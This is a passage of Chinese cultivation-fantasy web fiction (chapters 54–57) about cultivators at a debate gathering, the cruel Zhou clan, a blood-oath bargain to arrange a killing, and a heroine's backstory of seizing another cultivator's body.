破情道风险太大,因此没什么人修,十分冷门,导致其他修士对其都只是一知半解,岑无月的好奇心简直是越烧越旺、无从缓解。 “自是要两人才能同修。”白令先态度缓和地答道。 不过只答了一半,而且也不知道是真是假。 但这无所谓。 无论他怎么答,岑无月都能取得线索。 “那你找到了吗?”她接着问,“能不能中途换人?” 白令先脸上的笑容完美得无懈可击:“自然不可更换。” “那和有情道结道侣差不多嘛,”岑无月回头对千嶂夕说起前几日的事情,“前几日那魔修好像就是有情道的,也不知是道侣离世,还是被道侣辜负?” “有情道的事不要多管,”千嶂夕皱着眉,“了解太多杂事对你有弊无益。” 岑无月很是纯良地把锅甩给无法无天的某人:“都是谢还给我说的。” 千嶂夕深吸一口气。 很明显打不过但是又很气的表情。 倒是白令先打了个圆场,柔和气氛:“几次看到道友,似乎都和谢还走在一起。” “我们俩很像,”岑无月举例道,“都出自小门派,都叩开过天门。” 白令先显然是那种永远不会让话掉在地上的人,他笑道:“这倒确实,谢还的门派短暂兴盛过一阵,如今也已凋零了。” 因为谢还太过出名,许多人趋之若鹜地去拜他的门派,拜完便纷纷发现他的强大和他的门派毫无关系。 这样大起大落一番,这个门派很快没落下去。 提到此事,千嶂夕也插了一句:“前段时间院中弟子经过,听说已经沦落到算上谢还也只有三人的地步。” 她说完,似乎想起什么,停顿一瞬,看向岑无月。 岑无月眨眨眼,恍然竖起大拇指:“我师门也是还有三个人!” 千嶂夕:“……” 又是圆滑的白令先接话:“难怪你们二人在一起总有话说,这大概便是惺惺相惜吧。” “他知道的事情很多嘛,又喜欢讲话,”岑无月兴致盎然,“连入魔的有情道修士该如何处置,也是他告诉我的。” 千嶂夕扶了一下额头:“他都不知道什么该讲什么不该讲吗?” 岑无月立刻按住自己的嘴:“那我假装不知道。” “各处势力的处理办法其实都有所不同,并不喊着特意宣扬,”白令先笑着解释道,“他恐怕是直接告诉了你六合书院的办法吧。” 岑无月懂了。 这大小算个六合书院的内部条例,谢还随便秃噜出来了。 “……”千嶂夕道,“你眼睛为什么不敢看我?什么事瞒着我。” 岑无月双手捂嘴,满脸“我什么都不知道”的无辜表情。 “行了,你知道就知道,又不是什么大事。”千嶂夕无语地说,“也并非书院的机密,你若问我,我兴许也会告诉你。” 岑无月长舒一口气,试探性地分开指缝,小声:“那我在后来又看见过她,这应该也‘不是什么大事’哦?” 闻言,千嶂夕皱了皱眉,小声嘀咕了句“偷懒”,但没再多说什么。 白令先很快告辞,千嶂夕也去处理书院杂务,岑无月接着到处闲逛。 逛着逛着,说有事离开的白令先又找了回来,目标明确,就是岑无月。 “——我确实再见过她,”岑无月道,“不过不知道那是什么街,只记得怎么走。” 白令先彬彬有礼:“可否告知路线?” 岑无月非常爽快,给他指了个方向:“往这边走,看见一家酸辣汤之后右转,在冰浆店前面的路口左转,看见酒糟丸子之后再过三个路口……” 白令先:“……” 看他一脸茫然,岑无月也停了下来,好笑地问他:“你都听不懂我说的这些店是什么,对吧。” 白令先苦笑作揖:“让道友见笑了。” “没关系,谢还老和我一起吃东西,但他还是认不全。”岑无月接过摊主递来的马蹄糕,大方道,“走吧,我带你去。” 白令先随行在旁,笑问:“不问问我为什么要去见她吗?” “是你从前认识的人?”岑无月问。 “或许真是如此。”白令先坦率承认,“我那日并未来得及赶到魔修所在之处,但疑心是我旧识,想去亲眼确认。” 这人说话真真假假,假假真真,表情又格外诚恳,确实不好分辨。 在这方面,比那些无情道修士强得多。 无情道修士可能因为执着于各色各样的“无情”,在说谎一道上也是各有各的不擅长。 修士赶路,可快可慢,但这次是慢。 因为岑无月想在路上把酸辣汤、冰浆、酒糟丸子都再买一份。 白令先倒也不介意,甚至还试图帮忙付钱,但他身上只有大把灵魄而无铜板,小本生意的摊贩根本找不出,个个紧张地对他满脸赔笑。 ——除了岑无月,哪个修士会来光顾这些吃喝小摊? 又不是仙凡都接待的客栈,那账房才会做两手准备。 “我观道友与那谢还都食用凡人俗食,但修为心境仍旧是当世佼佼者,”白令先若有所思地说,“或许,修道一事本就不该纠结于辟谷与进食?” “我和他都吃——但我们两人并不足以推翻修真界多年的成规吧?”岑无月道。 白令先笑了一下:“这几千年间的成规大多是太上无相真君所建,但几千年前并不是如此。若以此类推,谁知道下一次改天换日是什么时候?又会是什么人?说不定就是道友或者谢还呢?” 岑无月乐了:“我啊?” 白令先笑道:“或许,也只是现在还寂寂无闻的某个人。” 言语之间志向倒是不小。 岑无月笑吟吟拐过最后一道弯,对白令先道:“我上次见她就是在这里。” 白令先的步伐下意识放缓了些:“她……” “她没有记忆,也没有修为,成了普通的凡人。”岑无月推测道,“我想若是凡人,应当会去找一份生计、一个落脚地?” 岑无月当然知道。 因为她出钱拜托附近的好心商家收留那位失忆魔修当学徒来着。 岑无月装模作样地找,而认真搜寻的白令先很快便发现了失忆的魔修。 他遥遥看着一身荆钗布裙、在豆坊忙活的前魔修,神情显得有些恍惚。 岑无月走到他身旁,明知故问:“是她吗?” “……是她。”白令先目不斜视,口中喃喃道,“她竟堕魔了。我以为……” “以为什么?” “……”白令先出神半晌,才苦笑道,“我以为有情道修士不会因为痴恋而入魔,看来是大错特错。” —— 按照白令先的说法,他因为“入情”频频碰壁,因此每当遇见有情道修士时,便会主动向对方请教。 这位前魔修便是他曾经请教过的一位,来往得多了,二人还成了好友。 不幸的是,这位尚没有道侣的前魔修爱上了他,恳求他转有情道。 白令先不愿逆自己的道,便同对方断了联系。 “……如今她已是凡人,恐怕活不了多久便会去世。”白令先的眼神仍有些飘忽,“几十年过去,我再次听到她的消息,竟是在这六合书院,竟会是如此光景。” 岑无月托腮看他半晌,安慰道:“至少如今,你为她感到心痛,那应当离‘入情’更近一步了。” 白令先似乎没有立刻反应过来,迷茫地看了一眼岑无月。 “你的破情道,不是要先入情、再出情吗?”岑无月问。 “……”白令先牵了下嘴角,“道友这是在教我苦中作乐了。” “是‘事已至此,不如找找坏事能派上用场的地方’。”岑无月道,“这是我自己领悟的道理。” 白令先摇头无奈道:“我没有道友这么念头通达,只怕是又要在此事中蹉跎上百年了。” …… 谢还找来时,白令先识趣地告辞离去。 谢还抢了一个岑无月的马蹄糕,又指指白令先失魂落魄的背影:“他怎么了?” 岑无月道:“不知道。” 不知道真的还是演的,但这点小事不必赌上一只眼睛去看。 谢还一脸稀奇地扭头:“还有你亲眼见过但仍然不知道的事情?——干什么这么看我?” “我不是在看你,”岑无月用双手圈个圆将他放在圆心里,称赞道,“在看合格的护身符。” 有谢还在六合书院活动,苏艺桐想杀人也不敢来,白令先即便想灭口也不敢动手。 可惜,这么好用的护身符,再用几天就不得不赶走了。 第55章 第 55 章 越是临近论道会开始, 在书院中见到千嶂夕的机会就越少。 “师姐此次是首次登论道台,自然要好好准备。”叶秋宁理所当然地解释道,“虽说那对手不堪一击, 但嶂夕师姐仍说要悉心准备, 全力以赴, 属实抬举他了。” 作为对手的周临岐也同样几乎不在书院出现, 双方几乎都是闭门谢客、潜心备战。 岑无月联想道:“这样说, 倒是同上次在翊麟城时很像了。” 那会儿的千嶂夕也是这样, 在叩天门前一次都没有出现。 叶秋宁有点幽怨地看岑无月一眼, 才道:“上次那周临岐输给师姐,这次肯定也是如此,我并不担心。” “你不担心吗?”岑无月诧异地打量他,“我倒是觉得你今天忧心忡忡,那是在担心别的事情?” 叶秋宁长叹一口气:“我觉得麻烦的,是那些失去周临岐管教的周家子弟。” 岑无月立刻回想起那些顽劣的周家子弟被谢还撵得抱头鼠窜的场景, 笑了一下:“谢还能打, 你们打不得?” “上次不是同你说过,”叶秋宁没有被逗笑,仍旧紧皱着眉,“周家以实力为尊,所以周家的人即便出门在外,也一样恃强凌弱,并不只针对六合书院,而是对人人皆如此。书院这样大, 我们只师生这些人手, 哪里管得过来?” 岑无月道:“但现在书院中不少大能前辈,他们想必也不敢太放肆?” 她次次都是赶着重要的日子前往不同的势力, 满街都是修为不俗的修士们,扔块石头都能砸中个实力不错的。 周家子弟再跋扈,在这种场合,也该掂量掂量自己的能力几何再闹事。 叶秋宁冷笑一声:“只怕他们脑子没你想的那么好!自小生活在周家那种环境中,哪怕正常人也能被逼疯。” 岑无月觉得周临岐除了爱自说自话一些,人其实还挺正常的。 “——周临岐已经算是最正常的那个了!”叶秋宁正色道,“你可知道,在周家,人人都可以随意杀死比自己弱的兄弟姐妹而不受到任何惩罚?若是诞下双生子,他们甚至会提前杀掉其中一个婴儿,何等残暴!” “我记得你从前说过,其中有一个被欺压多年的某日突然变强,杀了许多周家人后出逃?”岑无月说起之前听说的事情,有点想不通,“从那之后,周家的风气就没有一点儿改善?” “哦,那个人,我记得好像是叫周凰?”叶秋宁短暂回忆片刻,又嗤笑一声,“怎么可能?当时她虽杀数十人后夺路而逃,但那也是自行离开。若她选择留下,如今说不定能和周临岐争高低,周家根本不在乎死去的这几十个子弟,你信不信?” 岑无月心道周家也太没人情味了。 不过那是挺世俗无情道的。 “一开始周家有意叫她回去,只是她恨透周家,铁了心要作对,接下来数年时间里凡是见到周家人便杀,周家这才非要她死不可。”叶秋宁娓娓道来,还有些唏嘘,“我想她八成是堕魔了,此后行事凶残,又引得各方追杀。” 岑无月还记得后来的发展:“嶂夕师姐帮周家收拾了这个烂摊子。” “对,嶂夕师姐与那周凰大战三日,终于将其诛灭。”叶秋宁有些得意地摇头晃脑,“那交战之地就在鼎元峰下,离六合书院不远,尽管已经过去两百七十三年,至今仍然残留着双方交手的痕迹——如今的师妹师弟们仍然会时不时前去观瞻呢。” 岑无月面露向往:“那我有空也要去看看。” “好说好说,我带你去,我熟。”叶秋宁大方承诺完,又叹了口气,“可惜,嶂夕师姐当时原本便道体不豫,与周凰一战后更是每况愈下,此后才不得不尸解……好在如今一切顺利,真是天道眷顾。” 不仅是叶秋宁,其实六合书院上下的弟子都十分敬爱千嶂夕,毫无妒忌之心。 再看那周家嘛,相比之下,差的就不止是一星半点了。 叶秋宁对于周家的担心一点也不多余。 周临岐一闭门,那几个同行的周家子弟就跟脱了缰的野马一般到处惹事。 他们的目的本身倒也不是惹事,只是习惯了高高在上,于是人人锻炼出一身没事也能挑出事来的独特本领。 论道会开始前的这最后几日,岑无月看尽、听尽了他们的离奇操作。 当街打骂修为较低的散修那都是平平无奇了,有时候和一些稍有名气的修士也能吵起来。 碰见岑无月时他们倒是都会脸色一绿、警惕地左看右看寻找谢还的身影、最后夹着尾巴臭着脸离开。 像白令先这样尽管有些地位、但没有背景的,即使曾有过友好来往,周家人若是一个不高兴,指着白令先的鼻子照骂不误。 什么“破情道是什么狗屁?”“你不就是好色吗?当年那周凰你都敢接济,别以为我忘了!”“以为天天贴着千嶂夕的名字就安全了?那个眼高于顶的女人能看得上你?”等等,一顿好骂,岑无月听着听着在旁买了一捧瓜子,边嗑边听。 其实白令先的风流传闻多得很。 按照他自己所说,其实大多是误会。 这世间的有情道修,本就是女比男多。 白令先说自己常常向遇见的有情道修士请教入情,交往多了后,哪怕对方并没有爱慕之意,在世人眼中也会另有解读。 不过岑无月前几日刚从叶秋宁那里听来的名字“周凰”,这么快又从周家人口中再听一次,这感觉真是分外新奇。 这个破口大骂的周家子弟应当是追杀周凰的人之一,觉得自己本可以取周凰性命回家领功,却被白令先横插一脚搅黄,因此两百多年来一直怀恨在心。 卖瓜子的摊贩听到这里,忍不住小声嘀咕:“我滴个乖乖,仙人长寿,连记仇都可以多记这么久。” 岑无月一乐。 确实,凡人哪怕再恨,去世后也没法再继续了。 那周家子弟也没骂多久,六合书院的弟子已熟门熟路地赶来分开双方。 周家人气势汹汹地离开,白令先则是一脸无奈地走在后面,与他们隔开一段距离。 早在六合书院弟子赶到时凡人们就一哄而散,于是抓着一把瓜子杵在路边慢悠悠嗑的岑无月便分外显眼。 见到在街边看热闹的岑无月,白令先愣了片刻,才走向她,道:“叫道友见笑了。” 岑无月好奇问他:“周凰也是有情道修吗?” “这倒不是,”白令先摇头叹息,“我只是同情她遭遇,尽一些举手之劳,也只帮上那一次——若不是周家家风那般……她怎会怨恨到要对周家赶尽杀绝?是周家种豆得豆罢了。” 跟在“那般”后面的形容词,他并没有说出口。 岑无月半开玩笑:“现在拜入六合书院寻求庇佑或许还不迟?” 白令先露出苦笑神情:“道友就不要取笑我了,光明洞彻道可不是我能修的,这世上我看不透的东西太多太多。” “哎呀,”岑无月甜甜地说,“白兄,我觉得你已经比一般修士通透得多啦。” 只要擅长说谎,就必定擅长看穿别人的谎言——这在修真界就已经占有很大的优势了。 岑无月如此,白令先也是如此。 两个行事品格相似的人,总能轻易嗅到对方身上同类的味道。 —— 论道会当日。 这样的热闹岑无月当然不会错过。 只要人群聚集之处,便是孢子飞舞的场合。 虽然来听、来参加论道会的许多修士早已修炼得铁板一块,孢子一撞一个头昏眼花,但这渗透寄生的准备,多做总是比少做来得好。 论道会持续的日期不定,可长可短,只因修士们不用吃喝睡,有时论道辩得上头,你来我往个十天半月毫不奇怪。 空旷的论道台上只两张坐垫,而台下来听道的则是熙熙攘攘。 最先开辩的便是资历最浅的两人:千嶂夕与周临岐。 两人徐徐上台,均是面色冰冷严肃,一身盛装。 六合书院的弟子们此时倒是很矜持,只是用殷切憧憬的目光追随着千嶂夕。 反观那些周家子弟,一个个虽然抿着嘴唇非常专注,却毫无对周临岐的信任与期待。 若是周临岐败给千嶂夕,他们说不定还会露出些幸灾乐祸来。 哎呀,真是个冷酷的家庭。 岑无月站在人群后方,看这二人礼貌性地做了自我介绍、盘膝坐下。 两人静静对峙片刻后,周临岐率先发难:“六合书院创光明洞彻道来,还从未有一人成功飞升,此道不可成。” 千嶂夕则是冷笑道:“荒谬,哪条道在出现‘飞升第一人’之前,不是如此?” …… 岑无月听了会儿,懂了。 唇枪舌剑攻击对方的道心,要让对方不得不承认自己的一生都是失败品呗。 听千嶂夕和周临岐这会儿的攻防,虽说仍旧不明显,但八成胜者也已经确定会是千嶂夕了。 应该不到三日就能决出胜者。 论道会举行的这段日子谢还是肯定不会来六合书院了,他一不耐烦听别人论道,二不想被人叫上台挑战论道。 哪有比这更适合的时机? 岑无月掉头离开字字诛心、言语杀人的论道台,周围的修士一个个聚精会神地听着台上论道,试图寻找些自己可用的启发,根本无人注意她的走动。 岑无月逆着人流走出六合书院,随意找外围城镇的人询问过鼎元峰的方向,便向那里赶去。 接下来,她只要等杀人心切的苏艺桐寻上门来便是。 第56章 第 56 章 叶秋宁是六合书院弟子, 听千嶂夕论道比外人更能得益,如痴如醉,几次险些忍不住起身喝彩, 好不容易才憋住。 千嶂夕与周临岐你来我往辩至第三日上午, 后者终于败下阵来, 灵力耗尽, 当场昏死, 被周家家仆抬下。 千嶂夕也损耗颇多, 但仍能起身向周围人行礼示意, 只是脸色颇为苍白,脚步也略显虚浮。 包括叶秋宁在内的众多弟子赶紧上前去护她。 这可不能不防。 论道虽然看似一动不动,但对灵力与精力都是消耗巨大,古往今来在论道后因力竭而被偷袭至死的,可不在少数。 即使就在六合书院这大本营中,弟子们也不敢放松, 围住千嶂夕, 一路送她回住处。 千嶂夕倒是还摆手叫他们回去:“论道会难得,字字珠玑,错过一个字都可惜。” 这些师妹师弟哪里会听,硬是一路簇拥着把千嶂夕送到六合书院最安全的内院。 临要闭门前,千嶂夕突然回头道:“谁见到岑无月了?” 岑无月在六合书院大小也算是个名人,主要是因为她在翊麟城风头盖过千嶂夕一事,不过近日的好人缘也起了些作用。 只是这时千嶂夕突然提起这个名字,叫众弟子都是一愣。 千嶂夕最先想邀请相对论道的人是岑无月, 这在书院里并不算秘密。 众人面面相觑, 拼凑答案: “我前几日问时,她说是肯定会来的。” “对对, 我也这么问过,还问她要不要同我们坐一起,离论道台近些,不过她说前头太挤,宁可坐在远处,左右大家灵力充沛,再远都能听清楚。” “我首日时还碰见过她呢,她同我打招呼说吃完就去论道台。” 最后是叶秋宁一锤定音:“我第一日到得晚,从外围进来时见过她,她那时已找地方坐下了。” 不过确实远得很,几乎都在一些修为低微的散修和凡人的交界处了。 岑无月究竟为什么亲近凡人?叶秋宁怕自己是很久很久都不会想通了。 千嶂夕微微颔首:“我知道了,你们快回去吧,我恐怕要短暂闭关个把月。” 论道不仅是与人斗,也是与自己斗。 有时辩着辩着,自己也能豁然开朗、醍醐灌顶。 叶秋宁颇感欣慰:“想必师姐一定是受益良多,我们就不打扰师姐静思了,学院中事师姐就尽管放心交给我们。” 千嶂夕应了一声,正要关上门,突又停住动作,向远处眺望一眼,有些不耐烦地“啧”一声。 叶秋宁也回头看了看,什么也没瞧见,顿感佩服:嶂夕师姐灵力将近干涸,感知却仍然比我高出不止一截,真是了不起。 “你们且去,”千嶂夕倚着门道,“路上见到白令先,不必拦他。” 听见白令先的名字,包括叶秋宁在内的众人无一例外都流露出些嫌弃的神情。 实在是白令先之心路人皆知。 但作为东道主,也不好做得太难看,几个弟子不太情愿地答应下来,掉头回去论道台的路上果然见到白令先时,一个个勉强挤出皮笑肉不笑的表情。 叶秋宁率先行礼:“白道友。” 白令先也向他们回礼,脸上带着礼貌的笑意,但并不说话,似乎只是在路上碰巧遇见的两拨陌生人。 礼毕,白令先侧身让开道路,示意几人先行。 有年轻弟子想刁难一二,但叶秋宁拦住他们,快步从白令先身旁经过。 走出一段距离,年轻气盛的师弟便抱怨起来:“秋宁师兄方才做什么拦住我?我不过是想拿话刺那白令先几下。” “别忘了,嶂夕师姐此时急需闭门调息养神,好将论道时的经验融会贯通、提升心境,”叶秋宁详细解释道,“你拖延那白令先一盏茶,便是拖延师姐一盏茶——对付白令先的机会多的是,也不差这一会儿。” 师弟师妹们这才恍然大悟。 但又有人嘀咕着不满道:“明知这是师姐的重要关头,他还特地要去打扰,真是没有眼力见。” 叶秋宁也觉得蹊跷,但他严肃面目斥道:“但嶂夕师姐既愿意等他,必有深意。若我们能懂师姐的每个举动,岂不是早该有师姐的实力?” 众人这才不说话了。 也只静了片刻,年轻弟子们便兴奋地开始交流起方才论道的内容。 叶秋宁边听,边分神向一早见到岑无月的方向扫了一眼。 实在太远,中间又人头攒动,根本看不清楚。 不过论道会这样的场合,连太上无相真君都会亲临一观,想必岑无月也不会错过。 方才嶂夕师姐有那一问,或许也只是想听听这位劲敌对论道内容有何感想吧。 这样想着,叶秋宁与同门们一起回到原来的座位,如饥似渴地重新沉浸入新的一场论道之中。 —— 白令先与那些六合书院的弟子背向而行,很快见到千嶂夕的身影。 千嶂夕懒懒抬眼瞥他,问:“有什么事?” “你欠我一个人情,”白令先长叹一声,取出一枚血红色的令牌,道,“如今我要讨回这个人情了。” 千嶂夕本来漫不经心的神情散去了。她站直身体,盯着白令先手中的令牌看:“我许下这个人情时,对你说过,有三个前提。” 白令先镇定道:“我的要求,既不可危害六合书院,也不可将‘那件事’暴露于天下,还不可强行让你当我的道侣——你放心,我都记得。” 千嶂夕眯起眼:“好,现在你可以说要求了。” 白令先没有立刻开口,而是又站在原地思忖许久,才开口道:“我要你替我杀一个人。” “……”千嶂夕冷笑一声,“又是杀人?白令先,你真是毫无新意。” 即使被这样当面嘲讽,白令先也并不动怒,而是道:“确实很相似。上一次你杀那人,你我都能获益;这一次你杀那人,你我还是共同获益。” 修真界之中并无律法,只有各派的门规,对“杀人”一事管得相当之松。 只要你不是堕魔,沾些人命不算什么。 千嶂夕觉得有些不悦,但想到此事后便终于能摆脱白令先,便又觉得也不是不能再忍耐片刻。 白令先也知道自己的筹码是什么,稍稍举起手中令牌道:“此物有你我根源灵力在其中,是当年我救你时,你许下的承诺。只要此次事了,令牌自毁,你便再也不欠我什么了。” 千嶂夕轻笑:“你是不是忘了,令牌契约限制我不可杀你、伤你、害你,因为必会还诸我身。而只要令牌一毁,你再无牵制我的办法,此后我要杀你比吹口气还容易。” 白令先抿直嘴唇,片刻后道:“何必费心思杀我?你天纵奇才,我于你不过是只蝼蚁。” “你知道得太多,还是个狡诈之人,算不算理由?”千嶂夕漫不经心地问。 “既然你知我狡诈,怎知我有没有提前做好准备,一旦死去,便将你不想被人知道的事情广告天下?”白令先问。 千嶂夕嘴角的笑容隐去了。 这种事情,白令先很可能做得出来。 而千嶂夕又不能赌。 在她能独步天下、一人对抗整个修真界之前,都不能赌。 “但你放心,”白令先又是一礼,“这只是我万不得已时的保命符。将此事公开对我而言又有什么好处?岂不是下一刻就会被你杀死?” 千嶂夕森冷地盯了他半晌,道:“好。要杀谁?” 她已经在心中决定要尽快想办法解决白令先这个未来的大麻烦了。 否则,恐怕未来白令先要捏着这个把柄得寸进尺。 这可是修真界,不杀死、而是完全控制住一个人,办法多的是。 不过在那之前,得先将那麻烦的血誓令毁去。 只是杀个人而已。 天下没有几人是她杀不死的。 白令先也不至于蠢到说出那几个名字来。 但若说杀死之后对白令先、对她都有利的人,又能是谁? 千嶂夕脑中已经飞快闪过几个可能的名字,但当白令先开口时,吐出的那个人名却完全在她的思考之外。 “岑无月。”白令先一字一顿道。 千嶂夕立刻皱紧了眉:“为什么?” 她不讨厌岑无月,甚至还很欣赏——试问有谁能不喜欢岑无月? 哦,除了白令先这种小人。 “你真要问?”白令先似笑非笑,“她聪明绝顶,你但凡知道太多,去时都可能会被她套话,还是知道得越少越好,干脆只当是她知道了我一个不能暴露的秘密吧。” 千嶂夕仍在思考其中逻辑,没有立刻搭理他,而是片刻后才道:“苏艺桐也在追杀她。这几日谢还避人,定不在六合书院附近,岑无月出城与迎战无疑。你干脆等那苏艺桐与她大战一场后,寻机补刀。” 白令先立刻否定:“不行。” 千嶂夕眼神一冷。 白令先微微瑟缩,又抬起手,问:“你不想解开这血誓令了吗?若是苏艺桐得手,可不算你履约。” “……”千嶂夕道,“好,我会去杀她,但要在闭关之后,以全盛状态去。” 她一直好奇从未出手的岑无月实力究竟如何,这便是个相当好的机会。 白令先似乎终于有些急了,再度开口时语速快了不少:“好,你非要推诿,我这就全部告诉你——岑无月在论道会第一日离开书院了,你可知她的目的地是哪里?” 千嶂夕冷笑,不答反问:“觉得我会陪你玩猜谜?” 白令先顿了顿,自行说出答案:“鼎元峰。” 听见这个地名,千嶂夕神情一滞,抱臂的手指不自觉收紧。 白令先压低声音,强调地重复一遍:“千嶂夕,我说了,杀她,于你也是有利无弊。” 第57章 第 57 章 千嶂夕如今性格沉稳, 但几百年前时也曾年少气盛过。 她气自己比不过谢还,明知火候不够,但仍强行破境。 失败之后, 不仅修为大跌, 连识海与灵府都出现了裂缝——换句话说, 这具身体已不能再用了。 好在她种种条件具备, 身后又有财力雄厚的六合书院支持, 只需要花些时间准备尸解, 便能更换一具肉身。 修士成功尸解转世时, 会不由自主地被与自己相合的婴儿胚胎所吸引、融合,最后在保留自己记忆的情况下重新诞生。 就算可以四处探访、提前做准备,但也无法定向将自己直接附身到看中的婴儿体内。 这便引发一个问题——即便尸解,又有多大的概率能碰上比自己原先的肉身更有天赋的躯壳? 千嶂夕早知道自己已是百万中挑一的存在,若是尸解后获得一具平庸身体,即使有这一世的记忆加成水平却反倒更次, 她根本接受不了。 绝大多数修士选择尸解, 都是因为已到了无路可退的地步,不尸解必死无疑。 千嶂夕的情况尚可以拖延,她本身又意志超绝,硬是撑了百年时间,四处寻找机缘。 千嶂夕认识星玄度,也正是那百年间的事。 她问星玄度:“我应当在何时何地尸解,才能获得想要的结果?” 彼时那仍然年幼的星家少主合着眼道:“无论如何都不会是你最想要的那个结果。” 千嶂夕大惊,半晌才咬牙问:“那只要次好的结果呢?” “是哪一项次好?” 千嶂夕不假思索道:“自然是天资!” 这对她而言是最重要的。 她是六合书院两百年来倾力培养、最出众的天才, 若非自己不顾夫子们阻拦、任性强行破境, 根本不会落到现在境地。 她欠书院的恩情,必须得还回去。 “那只需静等便可, ”星玄度镇定地说道,“机缘自会来寻你。” 这时候的星玄度刚刚横空出世,名声不显,千嶂夕便也只是半信半疑,留下星家索要的报酬后便告辞离去。 不过在离去前,千嶂夕又悄悄问了星玄度一个问题:“我会有一日胜过谢还吗?” 穿着板正华服的男童皱起眉,想了又想,才说:“你二人似乎会殊途同归。” 千嶂夕追问:“我与他都会飞升?” “尚看不清,应当是变数太多。”星玄度道,“还需过些时候再来问我。” 千嶂夕遗憾离开,依旧四处云游,直到一次回六合书院整顿时,遇见了白令先。 白令先此人名声在外,好坏参半。 千嶂夕零零碎碎听过一些,并未上心,只是扫他一眼,见天资平庸,便收回了注意力。 结果白令先主动找上门来,满眼爱慕地请求她做他的道侣,共修破情道。 千嶂夕气得笑了,当着师弟师妹们的面,出手教训了白令先一顿。 白令先灰溜溜地离开六合书院,销声匿迹了一段时间。 书院的师弟师妹们私底下议论,都说他是无地自容,所以暂时闭关躲风头。 千嶂夕听了也觉得很有道理。 此后过了几十年。 千嶂夕减少了外出的频率。 一来,她的身体不断恶化,只剩全盛状态的三成; 二来,星玄度名声鹊起,她对那句预言的信任多了许多。 就在这时,白令先却秘密传讯,邀千嶂夕出书院一见。 即使只剩三成实力,千嶂夕也不会惧怕区区一个白令先,稍作思忖便前往赴约。 白令先遮遮掩掩,行为鬼祟,似乎在隐藏行踪。 但他给千嶂夕带来一个好消息:“我知道一具天资可与谢还媲美的肉身,只看你有没有胆去替。” 千嶂夕嗤笑:“你如何确定?” 婴孩呱呱落地前,一切都是未定。 纵然能根据家族先辈等粗略做个判断,那也算不得数。 如果真能提前算得这么准,千嶂夕早就挑选好适合的胚胎尸解去了。 白令先的声音压得很低:“我知道你看不上周临岐,但我只问你——刚修行三年的你是否能与现在的他平手?” 千嶂夕虽然是年轻,但那只是在修真界的年轻。 三年?那真是刚刚入门。 她抱臂、微抬下巴,居高临下地示意白令先继续往下说。 白令先接着道:“修行一个月便能伤到周临岐,三年便能与他打得不分上下,这算不算可与谢还一争高下的天资?” “即便算,你怎知未来之事?”千嶂夕漫不经心地问,“难道是星玄度说的?” “因为这不是未来之事,”白令先的声音更轻了,几乎只剩气流声,“而是在前不久刚刚发生。” 千嶂夕骤然想起,在书院时似乎听过一些关于周家出乱子的议论,只是她不感兴趣,没有多上心。 但她此时的面色已经冷淡下来,因为明白了白令先话中的意思。 她逼近白令先,盯着他隐藏在暗处的双眼,轻声问:“你撺掇我去夺舍?” 尸解与夺舍,二者听起来相近,但实际是大相径庭。 在修真界公认,腹中胎儿没有神魂,因此尸解进入胚胎、诞生,二者天生便融为一体,并不为众人所厌恶。 可夺舍是驱逐他人体内神魂、并取而代之,神魂和肉身本非一体,彼此排斥,那就是堕魔行为,人人得而诛之。 千嶂夕若是真敢走这一步,不仅是她本人将臭名远扬,背后的六合书院也必定会被连累。 白令先被她盯得毛骨悚然、面无血色,但仍坚持游说:“但那样的天赋,你一旦错过,便再也找不到下一个了。” 千嶂夕沉默片刻,心底生出一丝动摇。 “况且,那人根基尚浅,等你取而代之,或许根本不会面临反抗。”白令先急道,“此人正在四处大开杀戒,与魔修无异,你若杀了她,那是在做好事!” 千嶂夕摇头。 白令先一咬牙,交了底牌:“我知道你犹豫什么——我有一秘法,能除你后患之忧。事成之后,无论是谁来探,都只会认为那是你尸解的转世。此外,我愿立血誓令,至死都不会将这个秘密外传!” 但“夺舍”还是太超过了。 千嶂夕只是收下白令先的传讯信物便离开,回到书院时,却见同门后辈们哭成一团。 她诧异上前询问何事,才得知一名师弟在外遇见周家那名流窜魔修,主动上前讨伐,却反被杀死,消息刚刚传回。 夫子们好容易将嚷嚷着要出去杀魔修报仇的弟子们劝了回去,又安抚千嶂夕叫她不要操心,近日让弟子们尽量不要出门便是。 但千嶂夕还是出了书院,去寻那周家魔修——周凰。 周凰此时尚且生涩,知道自己对抗不了大能,一路便想尽办法地磨练自己、不择手段地增强实力,进步之神速十分骇人。 千嶂夕找到她后只跟了数天,“绝不夺舍”的想法便一日比一日动摇。 她从未见过有人可以这样修行,今天还刚刚学会爬,明日却已经知道该怎么跑。 哪怕无人教导、引领,周凰仅凭观察与模仿也能如同天授地学会一切,并下意识地调整至完美。 可周凰的岁数并不小,既然在周家这样的世家内出生,为何到这个年龄才突然开窍? 千嶂夕终是忍不住上前拦住了她。 周凰外表五六十岁,两鬓斑白——这是她开始衰老之后才修行有成的证据。 此外,她脸上还斜着一条陈年旧疤,像是狰狞的老蜈蚣横跨过她的鼻梁。 “你是谁?”周凰并没有立刻动手,而是十分谨慎地问。 千嶂夕只道:“是你杀死之人的师姐。” 周凰闻言了然,冷笑一声摆出迎战架势,一句废话没有:“来吧。” 千嶂夕并未移动,而是问出心头疑问:“你有这般天资,为何到中年才开始修行?” “老天这几十年眼都瞎了,刚刚才睁开吧。”周凰无所谓地说,“我在周家因为修为低微被欺辱这么多年,以为要窝窝囊囊地死去,没想到死前还能杀这么多周家的畜生,不亏!” 周家家风,那也是臭名昭著,大家听了都摇头。 “师出一门,有如手足,你替手足报仇,无错。”周凰喝道,“生死一战罢了,来!” 千嶂夕与周凰鏖战一场。 一方根基太浅,一方修为衰退,硬是不相上下地打了个血肉横飞,最后千嶂夕是仗着自己储物戒里丹药、法宝足够多,才硬生生将周凰磨死。 周凰死前,千嶂夕有些愧疚,便问她是否还有心愿未了。 周凰只道“太多”两个字,便身死道消。 千嶂夕精疲力尽,仍不得不打起精神布下结界,再传讯让白令先前来。 白令先来得很快,显然一直在附近观察。 他看着周凰的尸身,露出一丝满意的笑容。 千嶂夕瞥他一眼,道:“你的秘法,是不是也能改变肉身样貌?” “正是。”白令先回头一礼,“是否要将她调整成你的模样?” “五分像我即可。”千嶂夕道。 肉身固然会受神魂一些影响,但尸解后毕竟是换了个人,怎么可能和从前长得一样。 二人立下血誓,约法三章。 千嶂夕不可杀、伤、害白令先,否则将立刻还诸己身;白令先不动手脚,且不可以任何办法将夺舍一事透露给任何人,一动心思,当场暴毙。 白令先这才松了口气,恭敬地笑道:“好,那我这便开始了——只是毕竟是秘法,可否请道友离远一些?” 千嶂夕本就不感兴趣,拉开距离后便在旁入定护法,白令先则开始施展秘法。 数日过去,白令先将修改后的尸身交给千嶂夕,便提出要离开。 